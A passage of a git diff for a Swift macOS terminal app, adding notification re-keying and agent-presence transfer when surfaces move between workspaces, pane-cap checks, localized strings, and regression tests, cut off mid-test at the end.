guard fromTabId != toTabId, + notifications.contains(where: { $0.tabId == fromTabId && $0.surfaceId == surfaceId }) else { return } + notifications = notifications.map { notification in + guard notification.tabId == fromTabId, notification.surfaceId == surfaceId else { return notification } + return TerminalNotification( + id: notification.id, + tabId: toTabId, + surfaceId: notification.surfaceId, + title: notification.title, + subtitle: notification.subtitle, + body: notification.body, + createdAt: notification.createdAt, + isRead: notification.isRead + ) + } + clearFocusedReadIndicator(forTabId: fromTabId, surfaceId: surfaceId) + } + func clearNotifications(forTabId tabId: UUID) { var updated: [TerminalNotification] = [] updated.reserveCapacity(notifications.count) diff --git a/Sources/Workspace+Bonsplit.swift b/Sources/Workspace+Bonsplit.swift index c5e5ccc38..005c598f4 100644 --- a/Sources/Workspace+Bonsplit.swift +++ b/Sources/Workspace+Bonsplit.swift @@ -601,7 +601,9 @@ extension Workspace: @preconcurrency BonsplitDelegate { ttyName: surfaceTTYNames[panelId], cachedTitle: cachedTitle, customTitle: panelCustomTitles[panelId], - manuallyUnread: manualUnreadPanelIds.contains(panelId) + manuallyUnread: manualUnreadPanelIds.contains(panelId), + sourceWorkspaceId: id, + agentPresence: panelAgentPresence[panelId] ) if isUndoStaging, let originalIndex = undoStageOriginalIndex, let staged = pendingDetachedSurfaces.removeValue(forKey: tabId) { @@ -669,6 +671,7 @@ extension Workspace: @preconcurrency BonsplitDelegate { } func splitTabBar(_ controller: BonsplitController, didSelectTab tab: Bonsplit.Tab, inPane pane: PaneID) { + guard !suppressSelectionDelegateCallbacks else { return } applyTabSelection(tabId: tab.id, inPane: pane) } @@ -727,6 +730,7 @@ extension Workspace: @preconcurrency BonsplitDelegate { } func splitTabBar(_ controller: BonsplitController, didFocusPane pane: PaneID) { + guard !suppressSelectionDelegateCallbacks else { return } // When a pane is focused, focus its selected tab's panel guard let tab = controller.selectedTab(inPane: pane) else { return } #if DEBUG @@ -767,12 +771,16 @@ extension Workspace: @preconcurrency BonsplitDelegate { lastTerminalConfigInheritancePanelId = nil } PortScanner.shared.unregisterPanel(workspaceId: id, panelId: panelId) - AppDelegate.shared?.notificationStore?.clearNotifications(forTabId: id, surfaceId: panelId) // Detach preserves the panel UUID and the live panel object for // reattach in another window (DetachedSurfaceTransfer) -- browser - // automation state must survive the trip, so it is only pruned on - // permanent close. - if !isDetaching { + // automation state, notifications and agent presence must survive + // the trip, so they are only pruned on permanent close. The transfer + // carries the presence and re-keys the notifications on attach. + if isDetaching { + panelAgentPresence.removeValue(forKey: panelId) + } else { + AppDelegate.shared?.notificationStore?.clearNotifications(forTabId: id, surfaceId: panelId) + clearPanelAgentState(panelId: panelId) TerminalController.shared.v2BrowserPermanentlyRemoveSurfaceState(surfaceId: panelId) } if progressSourcePanelId == panelId { diff --git a/Sources/Workspace+Persistence.swift b/Sources/Workspace+Persistence.swift index 13124b86b..b1d9106e7 100644 --- a/Sources/Workspace+Persistence.swift +++ b/Sources/Workspace+Persistence.swift @@ -207,10 +207,7 @@ extension Workspace { if let newSourceSurfaceId = oldToNewPanelIds[oldSourceSurfaceId] { reviewPanel.sourceSurfaceId = newSourceSurfaceId } - reviewPanel.sendToSourceSurface = { [weak self, weak reviewPanel] text in - guard let self, let reviewPanel else { return false } - return self.sendReviewComments(sourceSurfaceId: reviewPanel.sourceSurfaceId, text: text) - } + reviewPanel.sendToSourceSurface = makeReviewSendClosure(for: reviewPanel) installReviewPanelSubscription(reviewPanel) reviewPanel.refresh() } @@ -698,12 +695,26 @@ extension Workspace { // unspecified denial is worth retrying; one long dead is not. let heartbeatFreshEnoughToRetryUnspecifiedDeny = Date().timeIntervalSince(meta.lastHeartbeatAt) < SessionEscrowPolicy.heartbeatStaleAfter + SessionEscrowPolicy.retrieveDenyRetryWindow - guard let masterFD = SessionEscrowClient.retrieve( + let masterFD: Int32 + switch SessionEscrowClient.retrieveOutcome( sessionId: oldSessionId, tokenHex: tokenHex, socketPath: socketPath, allowUnspecifiedDenyRetry: heartbeatFreshEnoughToRetryUnspecifiedDeny - ) else { + ) { + case .granted(let fd): + masterFD = fd + case .denied(.unknownSession): + // Only this explicit denial proves the holder no longer owns the session (token + // errors do not; see migrateLegacySessions). Clear the claim + // so later launches stop counting the dir as an escrowed orphan and rebuilding a + // recovery window for it until the 24h sweep. + if let paths = SessionWALPaths.make(sessionId: oldSessionId) { + _ = try? SessionWALCore.clearEscrowClaim(at: paths, ifSocketMatches: socketPath) + } + dilog("escrow.reattach", "session=\(oldSessionId.prefix(8)) outcome=fallback reason=denied_permanent claim=cleared") + return nil + case .denied, .failed: dilog("escrow.reattach", "session=\(oldSessionId.prefix(8)) outcome=fallback reason=retrieve_failed") return nil } diff --git a/Sources/Workspace+SidebarTelemetry.swift b/Sources/Workspace+SidebarTelemetry.swift index 2984b8474..7a773a6ef 100644 --- a/Sources/Workspace+SidebarTelemetry.swift +++ b/Sources/Workspace+SidebarTelemetry.swift @@ -477,8 +477,9 @@ extension Workspace { if panelPullRequests.keys.contains(where: { !validSurfaceIds.contains($0) }) { panelPullRequests = panelPullRequests.filter { validSurfaceIds.contains($0.key) } } - if panelAgentPresence.keys.contains(where: { !validSurfaceIds.contains($0) }) { - panelAgentPresence = panelAgentPresence.filter { validSurfaceIds.contains($0.key) } + // Through clearPanelAgentState so surface.wait waiters and subscribers see the removal. + for panelId in panelAgentPresence.keys where !validSurfaceIds.contains(panelId) { + clearPanelAgentState(panelId: panelId) } if didPruneListeningPorts { recomputeListeningPorts() diff --git a/Sources/Workspace+Surfaces.swift b/Sources/Workspace+Surfaces.swift index e037ec984..62483ae74 100644 --- a/Sources/Workspace+Surfaces.swift +++ b/Sources/Workspace+Surfaces.swift @@ -12,6 +12,39 @@ import Network import CoreText extension Workspace { + /// Send route for a review panel's comments. Resolves the workspace currently holding the + /// source terminal at send time (same lookup as `installReviewPanelSubscription`) rather + /// than capturing the creating or restoring workspace, so comments keep delivering after + /// either panel moves. Falls back to this workspace when the source can't be located. + /// Bonsplit selects every tab it creates. Re-selects `tabId` in its pane and restores the + /// previously focused pane without running the select/focus delegate side effects, so a + /// background tab creation leaves selection and focus exactly as they were. + func restorePaneSelectionWithoutFocus(_ tabId: TabID) { + let focusedPaneId = bonsplitController.focusedPaneId + suppressSelectionDelegateCallbacks = true + defer { suppressSelectionDelegateCallbacks = false } + bonsplitController.selectTab(tabId) + if let focusedPaneId { + bonsplitController.focusPane(focusedPaneId) + } + } + + /// Same predicate as the `shouldSplitPane` delegate veto, checked before a split builds its + /// panel so a vetoed split never constructs (and leaks) one. + var canAddSplitPane: Bool { + isRestoringSessionLayout || bonsplitController.allPaneIds.count < SplitPolicy.maxPanesPerWorkspace + } + + func makeReviewSendClosure(for reviewPanel: ReviewPanel) -> (String) -> Bool { + { [weak self, weak reviewPanel] text in + guard let reviewPanel else { return false } + guard let owningWorkspace = Workspace.workspaceOwning(surfaceId: reviewPanel.sourceSurfaceId) ?? self else { + return false + } + return owningWorkspace.sendReviewComments(sourceSurfaceId: reviewPanel.sourceSurfaceId, text: text) + } + } + func seedTerminalInheritanceFontPoints( panelId: UUID, configTemplate: ProgramaSurfaceConfigTemplate? @@ -203,6 +236,8 @@ extension Workspace { } guard let paneId = sourcePaneId else { return nil } + // Veto at the pane cap before constructing a panel (a BrowserPanel builds a WKWebView). + guard canAddSplitPane else { return nil } let inheritedConfig = inheritedTerminalConfig(preferredPanelId: panelId, inPane: paneId) // Inherit working directory: prefer the source panel's reported cwd, @@ -265,6 +300,7 @@ extension Workspace { panelTitles.removeValue(forKey: newPanel.id) surfaceIdToPanelId.removeValue(forKey: newTab.id) terminalInheritanceFontPointsByPanelId.removeValue(forKey: newPanel.id) + newPanel.close() return nil } @@ -309,9 +345,12 @@ extension Workspace { workingDirectory: String? = nil, startupEnvironment: [String: String] = [:], reviveDescriptor: TerminalSurfaceReviveDescriptor? = nil, - pendingScrollbackSeedText: String? = nil + pendingScrollbackSeedText: String? = nil, + selectInPane: Bool = true ) -> TerminalPanel? { - let shouldFocusNewTab = focus ?? (bonsplitController.focusedPaneId == paneId) + // `selectInPane: false` keeps the pane's selected tab (and therefore focus) unchanged. + let shouldFocusNewTab = selectInPane && (focus ?? (bonsplitController.focusedPaneId == paneId)) + let previousSelectedTabId = selectInPane ? nil : bonsplitController.selectedTab(inPane: paneId)?.id let previousFocusedPanelId = focusedPanelId let previousHostedView = focusedTerminalPanel?.hostedView @@ -345,10 +384,14 @@ extension Workspace { panels.removeValue(forKey: newPanel.id) panelTitles.removeValue(forKey: newPanel.id) terminalInheritanceFontPointsByPanelId.removeValue(forKey: newPanel.id) + newPanel.close() return nil } surfaceIdToPanelId[newTabId] = newPanel.id + if let previousSelectedTabId { + restorePaneSelectionWithoutFocus(previousSelectedTabId) + } // bonsplit's createTab may not reliably emit didSelectTab, and its internal selection // updates can be deferred. Force a deterministic selection + focus path so the new @@ -396,6 +439,8 @@ extension Workspace { } guard let paneId = sourcePaneId else { return nil } + // Veto at the pane cap before constructing a panel (a BrowserPanel builds a WKWebView). + guard canAddSplitPane else { return nil } // Create browser panel let browserPanel = BrowserPanel( @@ -429,6 +474,7 @@ extension Workspace { surfaceIdToPanelId.removeValue(forKey: newTab.id) panels.removeValue(forKey: browserPanel.id) panelTitles.removeValue(forKey: browserPanel.id) + browserPanel.close() return nil } setPreferredBrowserProfileID(browserPanel.profileID) @@ -465,9 +511,12 @@ extension Workspace { focus: Bool? = nil, insertAtEnd: Bool = false, preferredProfileID: UUID? = nil, - bypassInsecureHTTPHostOnce: String? = nil + bypassInsecureHTTPHostOnce: String? = nil, + selectInPane: Bool = true ) -> BrowserPanel? { - let shouldFocusNewTab = focus ?? (bonsplitController.focusedPaneId == paneId) + // `selectInPane: false` keeps the pane's selected tab (and therefore focus) unchanged. + let shouldFocusNewTab = selectInPane && (focus ?? (bonsplitController.focusedPaneId == paneId)) + let previousSelectedTabId = selectInPane ? nil : bonsplitController.selectedTab(inPane: paneId)?.id let sourcePanelId = effectiveSelectedPanelId(inPane: paneId) let previousFocusedPanelId = focusedPanelId let previousHostedView = focusedTerminalPanel?.hostedView @@ -495,6 +544,7 @@ extension Workspace { ) else { panels.removeValue(forKey: browserPanel.id) panelTitles.removeValue(forKey: browserPanel.id) + browserPanel.close() return nil } @@ -507,7 +557,10 @@ extension Workspace { // is treated as a same-position no-op once the moved tab's own removal is accounted for). if insertAtEnd { let targetIndex = bonsplitController.tabs(inPane: paneId).count - _ = bonsplitController.reorderTab(newTabId, toIndex: targetIndex) + _ = bonsplitController.reorderTab(newTabId, toIndex: targetIndex, selectMovedTab: selectInPane) + } + if let previousSelectedTabId { + restorePaneSelectionWithoutFocus(previousSelectedTabId) } // Match terminal behavior: enforce deterministic selection + focus. @@ -547,6 +600,8 @@ extension Workspace { } guard let paneId = sourcePaneId else { return nil } + // Veto at the pane cap before constructing a panel (a BrowserPanel builds a WKWebView). + guard canAddSplitPane else { return nil } let markdownPanel = MarkdownPanel(workspaceId: id, filePath: filePath) panels[markdownPanel.id] = markdownPanel @@ -569,6 +624,7 @@ extension Workspace { surfaceIdToPanelId.removeValue(forKey: newTab.id) panels.removeValue(forKey: markdownPanel.id) panelTitles.removeValue(forKey: markdownPanel.id) + markdownPanel.close() return nil } @@ -610,6 +666,8 @@ extension Workspace { } guard let paneId = sourcePaneId else { return nil } + // Veto at the pane cap before constructing a panel (a BrowserPanel builds a WKWebView). + guard canAddSplitPane else { return nil } guard let directory = normalizedSidebarDirectory(panelDirectories[panelId] ?? currentDirectory) else { return nil @@ -621,17 +679,7 @@ extension Workspace { mode: mode, baseBranch: baseBranch ) - reviewPanel.sendToSourceSurface = { [weak self, weak reviewPanel] text in - guard let reviewPanel else { return false } - // Resolve the workspace currently holding the source terminal at send time (same - // lookup as `installReviewPanelSubscription`) rather than capturing the creating - // workspace, so comments keep delivering after either panel moves. Fall back to the - // creating workspace when the source can't be located. - guard let owningWorkspace = Workspace.workspaceOwning(surfaceId: reviewPanel.sourceSurfaceId) ?? self else { - return false - } - return owningWorkspace.sendReviewComments(sourceSurfaceId: reviewPanel.sourceSurfaceId, text: text) - } + reviewPanel.sendToSourceSurface = makeReviewSendClosure(for: reviewPanel) panels[reviewPanel.id] = reviewPanel panelTitles[reviewPanel.id] = reviewPanel.displayTitle updatePanelDirectory(panelId: reviewPanel.id, directory: directory) @@ -654,6 +702,7 @@ extension Workspace { panels.removeValue(forKey: reviewPanel.id) panelTitles.removeValue(forKey: reviewPanel.id) panelDirectories.removeValue(forKey: reviewPanel.id) + reviewPanel.close() return nil } @@ -701,6 +750,7 @@ extension Workspace { ) else { panels.removeValue(forKey: markdownPanel.id) panelTitles.removeValue(forKey: markdownPanel.id) + markdownPanel.close() return nil } diff --git a/Sources/Workspace+Theme.swift b/Sources/Workspace+Theme.swift index b763ea7c7..be24884a3 100644 --- a/Sources/Workspace+Theme.swift +++ b/Sources/Workspace+Theme.swift @@ -14,10 +14,18 @@ import CoreText extension Workspace { static func currentSplitButtonTooltips() -> BonsplitConfiguration.SplitButtonTooltips { BonsplitConfiguration.SplitButtonTooltips( - newTerminal: KeyboardShortcutSettings.Action.newSurface.tooltip("New Terminal"), - newBrowser: KeyboardShortcutSettings.Action.openBrowser.tooltip("New Browser"), - splitRight: KeyboardShortcutSettings.Action.splitRight.tooltip("Split Right"), - splitDown: KeyboardShortcutSettings.Action.splitDown.tooltip("Split Down") + newTerminal: KeyboardShortcutSettings.Action.newSurface.tooltip( + String(localized: "workspace.splitButton.newTerminal", defaultValue: "New Terminal") + ), + newBrowser: KeyboardShortcutSettings.Action.openBrowser.tooltip( + String(localized: "workspace.splitButton.newBrowser", defaultValue: "New Browser") + ), + splitRight: KeyboardShortcutSettings.Action.splitRight.tooltip( + String(localized: "tabBar.splitRight", defaultValue: "Split Right") + ), + splitDown: KeyboardShortcutSettings.Action.splitDown.tooltip( + String(localized: "tabBar.splitDown", defaultValue: "Split Down") + ) ) } diff --git a/Sources/Workspace.swift b/Sources/Workspace.swift index 8f74596a2..55f899afb 100644 --- a/Sources/Workspace.swift +++ b/Sources/Workspace.swift @@ -59,6 +59,9 @@ final class Workspace: Identifiable, ObservableObject { /// When true, suppresses auto-creation in didSplitPane (programmatic splits handle their own panels) var isProgrammaticSplit = false + /// While true, bonsplit select/focus delegate callbacks do not re-apply selection or focus. + /// Set only by `restorePaneSelectionWithoutFocus`. + var suppressSelectionDelegateCallbacks = false /// When true, the split-cap delegate veto is bypassed: session restore must /// rebuild pre-cap layouts (5+ panes) without losing panes. var isRestoringSessionLayout = false @@ -292,7 +295,7 @@ final class Workspace: Identifiable, ObservableObject { // MARK: - Initialization init( - title: String = "Terminal", + title: String = String(localized: "workspace.defaultTitle.terminal", defaultValue: "Terminal"), workingDirectory: String? = nil, portOrdinal: Int = 0, configTemplate: ProgramaSurfaceConfigTemplate? = nil, @@ -406,7 +409,7 @@ final class Workspace: Identifiable, ObservableObject { /// The panel's surface is already running a shell process. init( claimedPanel: TerminalPanel, - title: String = "Terminal", + title: String = String(localized: "workspace.defaultTitle.terminal", defaultValue: "Terminal"), workingDirectory: String? = nil, portOrdinal: Int = 0, configTemplate: ProgramaSurfaceConfigTemplate? = nil @@ -597,6 +600,11 @@ final class Workspace: Identifiable, ObservableObject { let cachedTitle: String? let customTitle: String? let manuallyUnread: Bool + /// Workspace the surface was detached from; its notifications stay keyed there until + /// the transfer attaches (re-keyed) or is finalized (cleared). + let sourceWorkspaceId: UUID + /// Agent presence carried across the move so the destination keeps the agent's state. + let agentPresence: AgentPresence? private var state: State = .pending init( @@ -613,7 +621,9 @@ final class Workspace: Identifiable, ObservableObject { ttyName: String?, cachedTitle: String?, customTitle: String?, - manuallyUnread: Bool + manuallyUnread: Bool, + sourceWorkspaceId: UUID, + agentPresence: AgentPresence? ) { self.panelId = panelId self.panel = panel @@ -629,6 +639,8 @@ final class Workspace: Identifiable, ObservableObject { self.cachedTitle = cachedTitle self.customTitle = customTitle self.manuallyUnread = manuallyUnread + self.sourceWorkspaceId = sourceWorkspaceId + self.agentPresence = agentPresence } fileprivate var isPending: Bool { @@ -673,6 +685,16 @@ final class Workspace: Identifiable, ObservableObject { state = .finalized panel.close() TerminalController.shared.v2BrowserPermanentlyRemoveSurfaceState(surfaceId: panelId) + AppDelegate.shared?.notificationStore?.clearNotifications(forTabId: sourceWorkspaceId, surfaceId: panelId) + if agentPresence != nil { + AgentStateWaitRegistry.shared.notify(surfaceId: panelId, newState: nil, source: nil) + SocketEventBroadcaster.shared.publishAgentState( + workspaceId: sourceWorkspaceId, + surfaceId: panelId, + state: nil, + source: nil + ) + } } } @@ -856,17 +878,29 @@ final class Workspace: Identifiable, ObservableObject { return workspace } + /// True when `panelId` hosts an agent that agent detection already knows about and that can + /// take an implicit Return: presence exists, it is not blocked on a permission or y/n prompt, + /// and it is not stale. A plain shell must never receive an implicit Return. + func canAutoSubmitToAgent(panelId: UUID, now: Date = Date()) -> Bool { + guard let presence = panelAgentPresence[panelId] else { return false } + return presence.state != .blocked && !presence.isStale(now: now) + } + + /// Delivers `text` to `terminalPanel` as one paste (bracketed paste when the program enabled + /// it), so embedded newlines stay inside a single prompt instead of each becoming Return. + /// Submits with a single Return only when `canAutoSubmitToAgent` holds. The paste and the + /// Return queue in order while the surface is not realized yet. + func deliverTextToAgent(_ text: String, terminalPanel: TerminalPanel) { + terminalPanel.sendText(text) + if canAutoSubmitToAgent(panelId: terminalPanel.id) { + terminalPanel.surface.sendNamedKey("enter") + } + terminalPanel.surface.forceRefresh(reason: "workspace.deliverTextToAgent") + } + func sendReviewComments(sourceSurfaceId: UUID, text: String) -> Bool { guard let terminalPanel = terminalPanel(for: sourceSurfaceId) else { return false } - // Deferred terminal input can be evicted from its bounded queue. Keep review drafts - // until a live surface can accept dispatch rather than treating that queue as delivery. - guard let surface = terminalPanel.surface.surface else { - terminalPanel.surface.requestBackgroundSurfaceStartIfNeeded() - return false - } - let textToSend = text + "\r" - TerminalController.shared.sendSocketText(textToSend, surface: surface) - terminalPanel.surface.forceRefresh(reason: "reviewPanel.sendComments") + deliverTextToAgent(text, terminalPanel: terminalPanel) return true } @@ -908,7 +942,9 @@ final class Workspace: Identifiable, ObservableObject { func resolvedPanelTitle(panelId: UUID, fallback: String) -> String { let trimmedFallback = fallback.trimmingCharacters(in: .whitespacesAndNewlines) - let fallbackTitle = trimmedFallback.isEmpty ? "Tab" : trimmedFallback + let fallbackTitle = trimmedFallback.isEmpty + ? String(localized: "panel.displayName.fallback", defaultValue: "Tab") + : trimmedFallback if let custom = panelCustomTitles[panelId]?.trimmingCharacters(in: .whitespacesAndNewlines), !custom.isEmpty { return custom @@ -1281,6 +1317,9 @@ final class Workspace: Identifiable, ObservableObject { terminalInheritanceFontPointsByPanelId.removeAll(keepingCapacity: false) lastTerminalConfigInheritancePanelId = nil lastTerminalConfigInheritanceFontPoints = nil + // A closing workspace must not leave its app-wide layout observers (including + // NSWindow.didUpdateNotification) registered until the 2 s timeout. Idempotent. + clearLayoutFollowUp() } /// Close a panel. @@ -1762,6 +1801,9 @@ final class Workspace: Identifiable, ObservableObject { } if let ttyName = normalizedSidebarTTYName(detached.ttyName) { _ = setSidebarTTYName(panelId: detached.panelId, ttyName: ttyName) + // Port tracking is keyed by workspace; the source unregistered this panel on detach. + PortScanner.shared.registerTTY(workspaceId: id, panelId: detached.panelId, ttyName: ttyName) + PortScanner.shared.kick(workspaceId: id, panelId: detached.panelId) } else { surfaceTTYNames.removeValue(forKey: detached.panelId) } @@ -1821,6 +1863,14 @@ final class Workspace: Identifiable, ObservableObject { } surfaceIdToPanelId[newTabId] = detached.panelId + if let agentPresence = detached.agentPresence { + panelAgentPresence[detached.panelId] = agentPresence + } + AppDelegate.shared?.notificationStore?.rekeyNotifications( + surfaceId: detached.panelId, + fromTabId: detached.sourceWorkspaceId, + toTabId: id + ) if let index { _ = bonsplitController.reorderTab(newTabId, toIndex: index) } @@ -1838,6 +1888,9 @@ final class Workspace: Identifiable, ObservableObject { } scheduleTerminalGeometryReconcile() guard detached.markAttached(to: id) else { return nil } + if detached.panel is TerminalPanel { + reinstallReviewSubscriptions(watchingSourceSurfaceId: detached.panelId) + } #if DEBUG dlog( @@ -1850,6 +1903,21 @@ final class Workspace: Identifiable, ObservableObject { return detached.panelId } + /// A review panel's refresh trigger watches its source terminal's owning workspace, resolved + /// at install time. When that terminal moves to this workspace, reinstall every review panel + /// subscription that watches it so idle-edge refreshes keep firing. + private func reinstallReviewSubscriptions(watchingSourceSurfaceId sourceSurfaceId: UUID) { + guard let contexts = AppDelegate.shared?.mainWindowContexts.values else { return } + for context in contexts { + for workspace in context.tabManager.tabs { + for case let reviewPanel as ReviewPanel in workspace.panels.values + where reviewPanel.sourceSurfaceId == sourceSurfaceId { + workspace.installReviewPanelSubscription(reviewPanel) + } + } + } + } + /// Reinstalls per-panel-kind workspace binding and lifecycle subscriptions when a panel is /// attached to this workspace via a detach/attach transfer (drag between workspaces, split /// moves, `AppDelegate.moveSurface`). Centralizing this keeps every panel kind in sync: diff --git a/programaTests/WorkspaceFixSweepWKSPRegressionTests.swift b/programaTests/WorkspaceFixSweepWKSPRegressionTests.swift new file mode 100644 index 000000000..23511223e --- /dev/null +++ b/programaTests/WorkspaceFixSweepWKSPRegressionTests.swift @@ -0,0 +1,50 @@ +import XCTest + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Red-first regressions for the workspace fix sweep: each test uses only APIs that exist on the +/// pre-fix base commit and fails there. +@MainActor +final class WorkspaceFixSweepWKSPRegressionTests: XCTestCase { + /// A closed agent pane must not leave a phantom "Needs input" badge on the workspace row. + func testPermanentCloseClearsAgentPresenceAndSidebarBadge() throws { + let workspace = Workspace() + defer { workspace.teardownAllPanels() } + let keep = try XCTUnwrap(workspace.focusedPanelId) + let agentPanel = try XCTUnwrap(workspace.newTerminalSurfaceInFocusedPane(focus: false)).id + workspace.updatePanelAgentState(panelId: agentPanel, state: .blocked, source: .hooks) + XCTAssertNotNil(SidebarAgentIndicator.make(for: workspace)) + + XCTAssertTrue(workspace.closePanel(agentPanel, force: true)) + + XCTAssertNil(workspace.panelAgentPresence[agentPanel]) + XCTAssertNil(SidebarAgentIndicator.make(for: workspace)) + XCTAssertNotNil(workspace.panels[keep]) + } + + /// Two working agents: the stale flag must come from the freshest report, not from whichever + /// presence the dictionary happens to iterate last. Repeated over many UUID pairs so every + /// hash order is exercised. + func testEqualSeverityStaleFlagFollowsFreshestReportRegardlessOfOrder() { + let now = Date() + for _ in 0..<64 { + let workspace = Workspace() + defer { workspace.teardownAllPanels() } + let fresh = UUID() + let old = UUID() + workspace.panelAgentPresence = [ + fresh: AgentPresence(state: .working, source: .hooks, lastEventAt: now), + old: AgentPresence( + state: .working, + source: .hooks, + lastEventAt: now.addingTimeInterval(-AgentPresence.staleThreshold - 60) + ), + ] + XCTAssertEqual(SidebarAgentIndicator.make(for: workspace, now: now)?.isStale, false) + } + } +} diff --git a/programaTests/WorkspaceFixSweepWKSPTests.swift b/programaTests/WorkspaceFixSweepWKSPTests.swift new file mode 100644 index 000000000..6bc75c1e8 --- /dev/null +++ b/programaTests/WorkspaceFixSweepWKSPTests.swift @@ -0,0 +1,236 @@ +import XCTest +import Bonsplit + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Workspace fix sweep (WKSP cluster): runtime behavior of the new seams. +@MainActor +final class WorkspaceFixSweepWKSPTests: XCTestCase { + // MARK: 01 implicit Return only for a live, unblocked agent + + func testCanAutoSubmitOnlyForFreshUnblockedAgent() { + let workspace = Workspace() + defer { workspace.teardownAllPanels() } + let now = Date() + let working = UUID(), blocked = UUID(), stale = UUID(), shell = UUID() + workspace.panelAgentPresence = [ + working: AgentPresence(state: .working, source: .hooks, lastEventAt: now), + blocked: AgentPresence(state: .blocked, source: .hooks, lastEventAt: now), + stale: AgentPresence( + state: .working, source: .hooks, + lastEventAt: now.addingTimeInterval(-AgentPresence.staleThreshold - 1) + ), + ] + XCTAssertTrue(workspace.canAutoSubmitToAgent(panelId: working, now: now)) + XCTAssertFalse(workspace.canAutoSubmitToAgent(panelId: blocked, now: now), "a y/n prompt must not get an implicit Return") + XCTAssertFalse(workspace.canAutoSubmitToAgent(panelId: stale, now: now)) + XCTAssertFalse(workspace.canAutoSubmitToAgent(panelId: shell, now: now), "a plain shell must never get an implicit Return") + } + + // MARK: 03 / 04 presence and notifications follow a moved surface + + private struct NotificationFixture { + let store: TerminalNotificationStore + let cleanup: () -> Void + } + + private func installNotificationStore() -> NotificationFixture { + let appDelegate = AppDelegate.shared ?? AppDelegate() + let store = TerminalNotificationStore.shared + let original = appDelegate.notificationStore + store.replaceNotificationsForTesting([]) + store.configureNotificationDeliveryHandlerForTesting { _, _ in } + appDelegate.notificationStore = store + return NotificationFixture(store: store) { + store.replaceNotificationsForTesting([]) + store.resetNotificationDeliveryHandlerForTesting() + appDelegate.notificationStore = original + } + } + + private func unreadNotification(tabId: UUID, surfaceId: UUID) -> TerminalNotification { + TerminalNotification( + id: UUID(), tabId: tabId, surfaceId: surfaceId, + title: "t", subtitle: "", body: "b", createdAt: Date(), isRead: false + ) + } + + func testDetachAttachMovesAgentPresenceToDestination() throws { + let fixture = installNotificationStore() + defer { fixture.cleanup() } + let source = Workspace(), destination = Workspace() + defer { source.teardownAllPanels(); destination.teardownAllPanels() } + _ = try XCTUnwrap(source.focusedPanelId) + let moving = try XCTUnwrap(source.newTerminalSurfaceInFocusedPane(focus: false)).id + source.updatePanelAgentState(panelId: moving, state: .blocked, source: .hooks) + let expected = try XCTUnwrap(source.panelAgentPresence[moving]) + + let detached = try XCTUnwrap(source.detachSurface(panelId: moving)) + let pane = try XCTUnwrap(destination.bonsplitController.allPaneIds.first) + XCTAssertEqual(destination.attachDetachedSurface(detached, inPane: pane, focus: false), moving) + + XCTAssertEqual(destination.panelAgentPresence[moving], expected) + XCTAssertNil(source.panelAgentPresence[moving]) + XCTAssertNil(SidebarAgentIndicator.make(for: source)) + XCTAssertEqual(SidebarAgentIndicator.make(for: destination)?.tint, .blocked) + } + + func testRekeyNotificationsMovesUnreadBadgeBetweenWorkspaces() { + let fixture = installNotificationStore() + defer { fixture.cleanup() } + let a = UUID(), b = UUID(), surface = UUID(), otherSurface = UUID() + fixture.store.replaceNotificationsForTesting([ + unreadNotification(tabId: a, surfaceId: surface), + unreadNotification(tabId: a, surfaceId: otherSurface), + ]) + + fixture.store.rekeyNotifications(surfaceId: surface, fromTabId: a, toTabId: b) + + XCTAssertEqual(fixture.store.unreadCount(forTabId: a), 1, "the surface that stayed keeps its badge") + XCTAssertEqual(fixture.store.unreadCount(forTabId: b), 1) + } + + func testDetachAttachRekeysNotificationsToDestinationWorkspace() throws { + let fixture = installNotificationStore() + defer { fixture.cleanup() } + let source = Workspace(), destination = Workspace() + defer { source.teardownAllPanels(); destination.teardownAllPanels() } + _ = try XCTUnwrap(source.focusedPanelId) + let moving = try XCTUnwrap(source.newTerminalSurfaceInFocusedPane(focus: false)).id + fixture.store.replaceNotificationsForTesting([unreadNotification(tabId: source.id, surfaceId: moving)]) + + let detached = try XCTUnwrap(source.detachSurface(panelId: moving)) + let pane = try XCTUnwrap(destination.bonsplitController.allPaneIds.first) + XCTAssertNotNil(destination.attachDetachedSurface(detached, inPane: pane, focus: false)) + + XCTAssertEqual(fixture.store.unreadCount(forTabId: source.id), 0) + XCTAssertEqual(fixture.store.unreadCount(forTabId: destination.id), 1) + } + + // MARK: 05 review comments deliver only to a real source terminal + + func testReviewSendClosureFailsWhenSourceTerminalIsGone() { + let workspace = Workspace() + defer { workspace.teardownAllPanels() } + let review = ReviewPanel( + workspaceId: workspace.id, sourceSurfaceId: UUID(), + directory: "/tmp", mode: .uncommitted, baseBranch: "main" + ) + XCTAssertFalse(workspace.makeReviewSendClosure(for: review)("comment")) + } + + func testReviewSendClosureDeliversWhenSourceTerminalIsInCreatingWorkspace() throws { + let workspace = Workspace() + defer { workspace.teardownAllPanels() } + let source = try XCTUnwrap(workspace.focusedPanelId) + let review = ReviewPanel( + workspaceId: workspace.id, sourceSurfaceId: source, + directory: "/tmp", mode: .uncommitted, baseBranch: "main" + ) + XCTAssertTrue(workspace.makeReviewSendClosure(for: review)("comment")) + } + + // MARK: 08 manifest pattern validation and sample cap + + private func manifest(recognize: [String], statePatterns: [String]) -> AgentManifest { + AgentManifest( + version: 1, agent: "test", displayName: "Test", + recognize: .init(processNames: [], screenPatterns: recognize), + states: [.init( + bucket: "working", priority: 50, anchorLastNLines: 6, + patterns: statePatterns, confidence: "high", sourceNotes: nil + )] + ) + } + + func testInvalidPatternsReportsEveryUncompilablePattern() { + XCTAssertEqual(manifest(recognize: ["("], statePatterns: ["ok"]).invalidPatterns(), ["("]) + XCTAssertEqual(manifest(recognize: ["ok"], statePatterns: ["good", "[unclosed"]).invalidPatterns(), ["[unclosed"]) + XCTAssertEqual(manifest(recognize: ["ok"], statePatterns: ["good"]).invalidPatterns(), []) + } + + func testOversizedSampleKeepsTailAndDropsHead() { + let rule = manifest(recognize: ["TAILMARK"], statePatterns: ["TAILMARK"]) + let headRule = manifest(recognize: ["HEADONLY"], statePatterns: ["HEADONLY"]) + let filler = String(repeating: "filler line\n", count: 12_000) + XCTAssertGreaterThan(filler.utf8.count, 64 * 1024 * 2) + + let tailSample = filler + "TAILMARK" + XCTAssertTrue(rule.recognizes(text: tailSample)) + XCTAssertEqual(rule.classify(text: tailSample)?.bucket, "working") + + let headSample = "HEADONLY\n" + filler + XCTAssertFalse(headRule.recognizes(text: headSample), "text beyond the cap must not match") + } + + // MARK: 16 pane cap vetoes a split before building a panel + + private func 